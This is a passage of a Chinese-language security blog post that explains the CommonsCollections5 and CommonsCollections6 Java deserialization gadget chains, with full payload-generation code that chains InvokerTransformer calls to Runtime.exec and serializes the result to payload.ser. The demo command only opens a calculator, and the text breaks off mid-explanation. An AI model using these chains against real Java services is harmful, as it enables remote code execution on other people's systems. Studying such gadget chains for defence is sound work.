data-ratio="0.13677811550151975" data-s="300,640" style="" data-type="png" data-w="658" src="https://wechat2rss.xlab.app/img-proxy/?k=ed8e56b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicMONZvX7MeWuiaTDxtEDMAFAA1eTDQLo9ia4ZKBm7HuKL8APLVbSQsMmsQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><h2><span style="font-family: Verdana;font-size: 17px;">CommonsCollections5</span><span style="font-family:Verdana;font-size:16px;"></span></h2><p style="margin-top:0;"><span style="font-family:Verdana;font-size:14px;"> </span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;">适用版本：<span style="font-family: Verdana;">3.1-3.2.1</span><span style="font-family: &#34;Droid Sans Fallback&#34;">，</span><span style="font-family: Verdana;">jdk1.8</span><span style="font-family: &#34;Droid Sans Fallback&#34;">（</span><span style="font-family: Verdana;">1.9</span><span style="font-family: &#34;Droid Sans Fallback&#34;">没试）</span></span></p><p style="margin-top:13px;margin-right:8px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: Verdana;">CommonsCollections5</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">和前面几个</span><span style="font-size: 14px;font-family: Verdana;">payload</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">有些不太一样的地方，因为</span><span style="font-size: 14px;font-family: Verdana;">jdk</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">在</span><span style="font-size: 14px;font-family: Verdana;">1.8</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">之后对</span><span style="font-size: 14px;font-family: Verdana;">AnnotationInvocationHandler</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">类做了限制，所以在</span><span style="font-size: 14px;font-family: Verdana;">jdk1.8</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">版本就必须找出能替代</span><span style="font-size: 14px;font-family: Verdana;">AnnotationInvocationHandler</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">的新</span>      <span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">的可以利用的类，所以</span><span style="font-size: 14px;font-family: Verdana;">BadAttributeValueExpException</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">就被发掘了除了，我们直接根据代码来了解这个类。</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:0;margin-right:132px;margin-left:91px;text-align:left;line-height:116%;"><span style="line-height:116%;color:rgb(136,88,168);font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main(String[] args)</span> <span class="code-snippet__keyword">throws</span> Exception </span>{ String command = <span class="code-snippet__string">&#34;open /Applications/Calculator.app/&#34;</span>; <span class="code-snippet__keyword">final</span> String[] execArgs = <span class="code-snippet__keyword">new</span> String[] { command };</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">final</span> Transformer transformerChain = <span class="code-snippet__keyword">new</span> ChainedTransformer( <span class="code-snippet__keyword">new</span> Transformer[]{ <span class="code-snippet__keyword">new</span> ConstantTransformer(<span class="code-snippet__number">1</span>) });</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">final</span> Transformer[] transformers = <span class="code-snippet__keyword">new</span> Transformer[] { <span class="code-snippet__keyword">new</span> ConstantTransformer(Runtime.class),</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;getRuntime&#34;</span>, <span class="code-snippet__keyword">new</span> Class[<span class="code-snippet__number">0</span>] }),</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">new</span> InvokerTransformer(<span class="code-snippet__string">&#34;invoke&#34;</span>, <span class="code-snippet__keyword">new</span> Class[] { Object.class, Object[].class }, <span class="code-snippet__keyword">new</span> Object[] { <span class="code-snippet__keyword">null</span>, <span class="code-snippet__keyword">new</span> Object[<span class="code-snippet__number">0</span>] }),</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">new</span> InvokerTransformer(<span class="code-snippet__string">&#34;exec&#34;</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">new</span> Class[] { String.class }, execArgs), <span class="code-snippet__keyword">new</span> ConstantTransformer(<span class="code-snippet__number">1</span>) };</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">final</span> Map innerMap = <span class="code-snippet__keyword">new</span> HashMap();</span></code><code><span class="code-snippet_outer" style="">//创建factory为恶意ChainedTransformer对象的lazyMap类实例</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">final</span> Map lazyMap = LazyMap.decorate(innerMap, transformerChain);</span></code><code><span class="code-snippet_outer" style="">//创建map为恶意lazyMap，key为foo的TiedMapEntry类实例TiedMapEntry entry = new TiedMapEntry(lazyMap, &#34;foo&#34;);</span></code><code><span class="code-snippet_outer" style="">//将BadAttributeValueExpException对象的成员变量val赋值为恶意entry BadAttributeValueExpException val = new</span></code><code><span class="code-snippet_outer">BadAttributeValueExpException(<span class="code-snippet__keyword">null</span>);</span></code><code><span class="code-snippet_outer">Field valfield = val.getClass().getDeclaredField(<span class="code-snippet__string">&#34;val&#34;</span>); Permit.setAccessible(valfield);</span></code><code><span class="code-snippet_outer">valfield.set(val, entry);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">setFieldValue(transformerChain, <span class="code-snippet__string">&#34;iTransformers&#34;</span>, transformers);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">FileOutputStream fos = <span class="code-snippet__keyword">new</span> FileOutputStream(<span class="code-snippet__string">&#34;payload.ser&#34;</span>); ObjectOutputStream oos = <span class="code-snippet__keyword">new</span> ObjectOutputStream(fos); oos.writeObject(val);</span></code><code><span class="code-snippet_outer">oos.flush();</span></code><code><span class="code-snippet_outer">oos.close();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">FileInputStream fis = <span class="code-snippet__keyword">new</span> FileInputStream(<span class="code-snippet__string">&#34;payload.ser&#34;</span>); ObjectInputStream ois = <span class="code-snippet__keyword">new</span> ObjectInputStream(fis); Object newObj = ois.readObject();</span></code><code><span class="code-snippet_outer">ois.close();</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p style="margin-top:0;margin-right:132px;margin-left:91px;text-align:left;line-height:116%;"><span style="line-height:116%;color:rgb(77,77,75);font-size:14px;"></span></p><p style="margin-top:1px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;">这个利用链很简单</span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.22928994082840237" data-s="300,640" style="" data-type="png" data-w="676" src="https://wechat2rss.xlab.app/img-proxy/?k=d68b3046&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicMuAbEuZFibabMl3ufVHMYp3xCgVqDMymhRglACcGlWDYerQ6YibUbggHw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size:5px;"> </span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:23px;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">在</span><span style="font-family: Verdana;">BadAttributeValueExpException</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family: Verdana;">readObject</span><span style="font-family: &#34;Droid Sans Fallback&#34;">中，会调用它的成员变量</span><span style="font-family: Verdana;">val</span><span style="font-family: &#34;Droid Sans Fallback&#34;">（也就是我们传入的恶意</span><span style="font-family: Verdana;">TiedMapEntry</span><span style="font-family: &#34;Droid Sans Fallback&#34;">对象）的</span><span style="font-family: Verdana;">toString</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:23px;"><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.425" data-s="300,640" style="" data-type="png" data-w="680" src="https://wechat2rss.xlab.app/img-proxy/?k=c475ba7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicMtybBb7TV3t38Vs6xibff6Kd1tZicfdAibVZUSU5qO0T104WtWCNXxUnmg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top:1px;"><span style="font-size:6px;"> </span><span style="font-size: 9px;"> </span></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">在</span><span style="font-family: Verdana;">TiedMapEntry</span><span style="font-family: &#34;Droid Sans Fallback&#34;">中会调用自身的</span><span style="font-family: Verdana;">getKey</span><span style="font-family: &#34;Droid Sans Fallback&#34;">和</span><span style="font-family: Verdana;">getValue</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.13737075332348597" data-s="300,640" style="" data-type="png" data-w="677" src="https://wechat2rss.xlab.app/img-proxy/?k=2e2ca35e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicMn06ia4AnibEiaPqJC75J8SDndTszsJeReQrCnCpfJGiacs9ZuJUibaicTq7A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">在</span><span style="font-family: Verdana;">getValue</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法中会调用成员变量</span><span style="font-family: Verdana;">map</span><span style="font-family: &#34;Droid Sans Fallback&#34;">（也就是我们传入的恶意</span><span style="font-family: Verdana;">LazyMap</span><span style="font-family: &#34;Droid Sans Fallback&#34;">对象）的</span><span style="font-family: Verdana;">get</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.1134020618556701" data-s="300,640" style="" data-type="png" data-w="679" src="https://wechat2rss.xlab.app/img-proxy/?k=3df0c2df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z7RaVyO9ia0oSBbWrty72oicMiaEyIFlTN9YBHIWpT88kA3lB6icMOEuMjvyK2r0WpfmpLJg1tBuJ9giaQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size:12px;"> </span></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">接下来就和</span><span style="font-family: Verdana;">CommonsCollections1</span><span style="font-family: &#34;Droid Sans Fallback&#34;">是一样的了，不再分析。</span></span></p><p style="margin-top:12px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: Verdana;">CommonsCollections</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">在</span><span style="font-size: 14px;font-family: Verdana;">3.2.2</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">版本的时候同样将</span><span style="font-size: 14px;font-family: Verdana;">BadAttributeValueExpException</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">拉入了黑名单。</span></span><span style="font-size: 3px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:0;"><span style="font-size:9px;"> </span></p><h2><span style="font-family: Verdana;font-size: 17px;">CommonsCollections6</span><span style="font-family:Verdana;font-size:16px;"></span></h2><p style="margin-top:0;"><span style="font-family:Verdana;font-size:14px;"> </span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;">适用版本：<span style="font-family: Verdana;">3.1-3.2.1</span><span style="font-family: &#34;Droid Sans Fallback&#34;">，</span><span style="font-family: Verdana;">jdk1.7,1.8</span><span style="font-family: &#34;Droid Sans Fallback&#34;">均可成功</span></span></p><p style="margin-top:13px;margin-right:17px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: Verdana;">CommonsCollections6</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">是一个实用性比较广的</span><span style="font-size: 14px;font-family: Verdana;">payload</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">，和上面五个</span><span style="font-size: 14px;font-family: Verdana;">payload</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">相比，它的利用受</span><span style="font-size: 14px;font-family: Verdana;">jdk</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">版本的影响是最小的，先看代码。</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:0;margin-right:132px;margin-left:91px;text-align:left;line-height:116%;"><span style="line-height:116%;color:rgb(136,88,168);font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">void</span> main(<span class="code-snippet__built_in">String</span>[] args) throws Exception { <span class="code-snippet__built_in">String</span> command = <span class="code-snippet__string">&#34;open /Applications/Calculator.app/&#34;</span>; final <span class="code-snippet__built_in">String</span>[] execArgs = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>[] { command };</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">final Transformer[] transformers = <span class="code-snippet__keyword">new</span> Transformer[] { <span class="code-snippet__keyword">new</span> ConstantTransformer(Runtime.class),</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">new</span> InvokerTransformer(<span class="code-snippet__string">&#34;getMethod&#34;</span>, <span class="code-snippet__keyword">new</span> Class[] { <span class="code-snippet__built_in">String</span>.class, Class[].class }, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[] { <span class="code-snippet__string">&#34;getRuntime&#34;</span>, <span class="code-snippet__keyword">new</span> Class[<span class="code-snippet__number">0</span>] }),</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__keyword">new</span> InvokerTransformer(<span class="code-snippet__string">&#34;invoke&#34;</span>, <span class="code-snippet__keyword">new</span> Class[] { <span class="code-snippet__built_in">Object</span>.class, <span class="code-snippet__built_in">Object</span>[].class }, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[] { <span class="code-snippet__literal">null</span>, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[<span class="code-snippet__number">0</span>] }),</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">new</span> InvokerTransformer(<span class="code-snippet__string">&#34;exec&#34;</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">new</span> Class[] { <span class="code-snippet__built_in">String</span>.class }, execArgs), <span class="code-snippet__keyword">new</span> ConstantTransformer(<span class="code-snippet__number">1</span>) };</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">Transformer transformerChain = <span class="code-snippet__keyword">new</span> ChainedTransformer(transformers);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">final Map innerMap = <span class="code-snippet__keyword">new</span> HashMap();</span></code><code><span class="code-snippet_outer" style="">//创建一个factory为恶意ChainedTransformer对象的lazyMap类实例</span></code><code><span class="code-snippet_outer">final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);</span></code><code><span class="code-snippet_outer" style="">//创建一个map为恶意lazyMap类实例，key为foo的TiedMapEntry类实例TiedMapEntry entry = new TiedMapEntry(lazyMap, &#34;foo&#34;);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">HashSet map = <span class="code-snippet__keyword">new</span> HashSet(<span class="code-snippet__number">1</span>); map.add(<span class="code-snippet__string">&#34;foo&#34;</span>);</span></code><code><span class="code-snippet_outer">Field f = <span class="code-snippet__literal">null</span>; <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">f = HashSet.class.getDeclaredField(<span class="code-snippet__string">&#34;map&#34;</span>);</span></code><code><span class="code-snippet_outer">} <span class="code-snippet__keyword">catch</span> (NoSuchFieldException e) {</span></code><code><span class="code-snippet_outer">f = HashSet.class.getDeclaredField(<span class="code-snippet__string">&#34;backingMap&#34;</span>);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer" style="">//取出HashSet对象的成员变量map Permit.setAccessible(f);</span></code><code><span class="code-snippet_outer">HashMap innimpl = (HashMap) f.get(map);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">Field f2 = <span class="code-snippet__literal">null</span>; <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">f2 = HashMap.class.getDeclaredField(<span class="code-snippet__string">&#34;table&#34;</span>);</span></code><code><span class="code-snippet_outer">} <span class="code-snippet__keyword">catch</span> (NoSuchFieldException e) {</span></code><code><span class="code-snippet_outer">f2 = HashMap.class.getDeclaredField(<span class="code-snippet__string">&#34;elementData&#34;</span>);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer" style="">//取出HashMap对象的成员变量table Permit.setAccessible(f2);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">Object</span>[] array = (<span class="code-snippet__built_in">Object</span>[]) f2.get(innimpl);</span></code><code><span class="code-snippet_outer" style="">//取出table里面的第一个Entry</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">Object</span> node = array[<span class="code-snippet__number">0</span>]; <span class="code-snippet__keyword">if</span>(node == <span class="code-snippet__literal">null</span>){</span></code><code><span class="code-snippet_outer">node = array[<span class="code-snippet__number">1</span>];</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">Field keyField = <span class="code-snippet__literal">null</span>; <span class="code-snippet__keyword">try</span>{</span></code><code><span class="code-snippet_outer">keyField = node.getClass().getDeclaredField(<span class="code-snippet__string">&#34;key&#34;</span>);</span></code><code><span class="code-snippet_outer">}<span class="code-snippet__keyword">catch</span>(Exception e){ keyField =</span></code><code><span class="code-snippet_outer">Class.forName(<span class="code-snippet__string">&#34;java.util.MapEntry&#34;</span>).getDeclaredField(<span class="code-snippet__string">&#34;key&#34;</span>);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer" style="">//取出Entry对象重的key，并将它赋值为恶意的TiedMapEntry对象Permit.setAccessible(keyField);</span></code><code><span class="code-snippet_outer">keyField.set(node, entry);</span></code><code><span class="code-snippet_outer">FileOutputStream fos = <span class="code-snippet__keyword">new</span> FileOutputStream(<span class="code-snippet__string">&#34;payload.ser&#34;</span>); ObjectOutputStream oos = <span class="code-snippet__keyword">new</span> ObjectOutputStream(fos); oos.writeObject(map);</span></code><code><span class="code-snippet_outer">oos.flush();</span></code><code><span class="code-snippet_outer">oos.close();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">FileInputStream fis = <span class="code-snippet__keyword">new</span> FileInputStream(<span class="code-snippet__string">&#34;payload.ser&#34;</span>); ObjectInputStream ois = <span class="code-snippet__keyword">new</span> ObjectInputStream(fis); <span class="code-snippet__built_in">Object</span> </span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="margin-top:0;margin-right:132px;margin-left:91px;text-align:left;line-height:116%;"><span style="font-size:5px;"></span></p><p style="margin-top:3px;margin-right:425px;margin-left:132px;line-height:116%;"><br/></p><p style="margin-top:0;"><span style="font-size:7px;"></span></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:24px;"><span style="font-size: 14px;"><span style="font-family: Verdana;">CommonsCollections6</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的代码是最可以体现出使用反射机制生成恶意对象的优势的代码，我们看一下上面</span><span style="font-family: Verdana;">payload</span><span style="font-family: &#34;Droid Sans Fallback&#34;">中使用反射机制的代码</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:22px;"><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:0;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">HashSet map = new HashSet(<span class="code-snippet__number">1</span>); map.add(<span class="code-snippet__string">&#34;foo&#34;</span>);</span></code><code><span class="code-snippet_outer">Field f = <span class="code-snippet__literal">null</span>; <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">f = HashSet.<span class="code-snippet__keyword">class</span>.getDeclaredField(<span class="code-snippet__string">&#34;map&#34;</span>);</span></code><code><span class="code-snippet_outer">} <span class="code-snippet__keyword">catch</span> (NoSuchFieldException e) {</span></code><code><span class="code-snippet_outer">f = HashSet.<span class="code-snippet__keyword">class</span>.getDeclaredField(<span class="code-snippet__string">&#34;backingMap&#34;</span>);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer" style="">//取出HashSet对象的成员变量map Permit.setAccessible(f);</span></code><code><span class="code-snippet_outer">HashMap innimpl = (HashMap) f.<span class="code-snippet__keyword">get</span>(map);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">Field f2 = <span class="code-snippet__literal">null</span>; <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">f2 = HashMap.<span class="code-snippet__keyword">class</span>.getDeclaredField(<span class="code-snippet__string">&#34;table&#34;</span>);</span></code><code><span class="code-snippet_outer">} <span class="code-snippet__keyword">catch</span> (NoSuchFieldException e) {</span></code><code><span class="code-snippet_outer">f2 = HashMap.<span class="code-snippet__keyword">class</span>.getDeclaredField(<span class="code-snippet__string">&#34;elementData&#34;</span>);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer" style="">//取出HashMap对象的成员变量table Permit.setAccessible(f2);</span></code><code><span class="code-snippet_outer">Object[] array = (Object[]) f2.<span class="code-snippet__keyword">get</span>(innimpl);</span></code><code><span class="code-snippet_outer" style="">//取出table里面的第一个Entry</span></code><code><span class="code-snippet_outer">Object node = array[<span class="code-snippet__number">0</span>]; <span class="code-snippet__keyword">if</span>(node == <span class="code-snippet__literal">null</span>){</span></code><code><span class="code-snippet_outer">node = array[<span class="code-snippet__number">1</span>];</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">Field keyField = <span class="code-snippet__literal">null</span>; <span class="code-snippet__keyword">try</span>{</span></code><code><span class="code-snippet_outer">keyField = node.getClass().getDeclaredField(<span class="code-snippet__string">&#34;key&#34;</span>);</span></code><code><span class="code-snippet_outer">}<span class="code-snippet__keyword">catch</span>(Exception e){ keyField =</span></code><code><span class="code-snippet_outer">Class.forName(<span class="code-snippet__string">&#34;java.util.MapEntry&#34;</span>).getDeclaredField(<span class="code-snippet__string">&#34;key&#34;</span>);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer" style="">//取出Entry对象重的key，并将它赋值为恶意的TiedMapEntry对象</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"> </span></code></pre></section><p style="margin-top:0;"><span style="font-size:2px;"></span></p><p style="margin-top:1px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;">上面给出的这么一长串代码，其实如果不使用反射机制去生成恶意对象，只需要两行代码</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">HashSet <span class="code-snippet__built_in">map</span> = <span class="code-snippet__keyword">new</span> HashSet(<span class="code-snippet__number">1</span>); <span class="code-snippet__built_in">map</span>.add(entry);</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p style="margin-top:0;"><span style="font-size:4px;"> </span></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:23px;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">两个代码生成的</span><span style="font-family: Verdana;">map</span><span style="font-family: &#34;Droid Sans Fallback&#34;">对象是一摸一样的对象，但是使用第二种方式，你会发现在反序列化的时候无法造成</span></span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:22px;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: Verdana;">RCE</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">（第二种同样会造成</span><span style="font-size: 14px;font-family: Verdana;">RCE</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">但是是发生在</span><span style="font-size: 14px;font-family: Verdana;">map.add</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">的时候而不是</span><span style="font-size: 14px;font-family: Verdana;">ois.readObject()</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">的时候），原因就出在了</span><span style="font-size: 14px;font-family: Verdana;">lazyMap</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">类的</span><span style="font-size: 14px;font-family: Verdana;">get</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">函数处。</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:23px;"><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2844574780058651" data-s="300,640" style="" data-type="png" data-w="682" src="https://wechat2rss.xlab.app/img-proxy/?k=b18ff7aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc49J5bQvtliaxqicxSbpbXjXEa0jrWKLJ940eHpIgicibVW8E3jJnqr0oJAQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:23px;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">触发</span><span style="font-family: Verdana;">RCE</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的关键就在于</span><em><span style="font-family: Arial;">this.factory.transform(key)</span></em><span style="font-family: &#34;Droid Sans Fallback&#34;">，然而想走到这一步，需要一个条件：</span><em><span style="font-family: Arial;">!this.map.containsKey(key)</span></em><span style="font-family: &#34;Droid Sans Fallback&#34;">，翻译一下就是加载的这个</span><span style="font-family: Verdana;">key</span><span style="font-family: &#34;Droid Sans Fallback&#34;">之前未被</span><span style="font-family: Verdana;">get</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数调用过，并且一旦调用过一次</span> <span style="font-family: &#34;Droid Sans Fallback&#34;">后，就会直接把这个</span><span style="font-family: Verdana;">key-value</span><span style="font-family: &#34;Droid Sans Fallback&#34;">对放进</span><span style="font-family: Verdana;">this.map</span><span style="font-family: &#34;Droid Sans Fallback&#34;">中，下次调用直接走</span><span style="font-family: Verdana;">else</span><span style="font-family: &#34;Droid Sans Fallback&#34;">语句，而不会再去调用</span><em><span style="font-family: Arial;">this.factory.transform(key)</span></em><span style="font-family: &#34;Droid Sans Fallback&#34;">。</span></span><span style="font-size: 3px;font-family: &#34;Droid 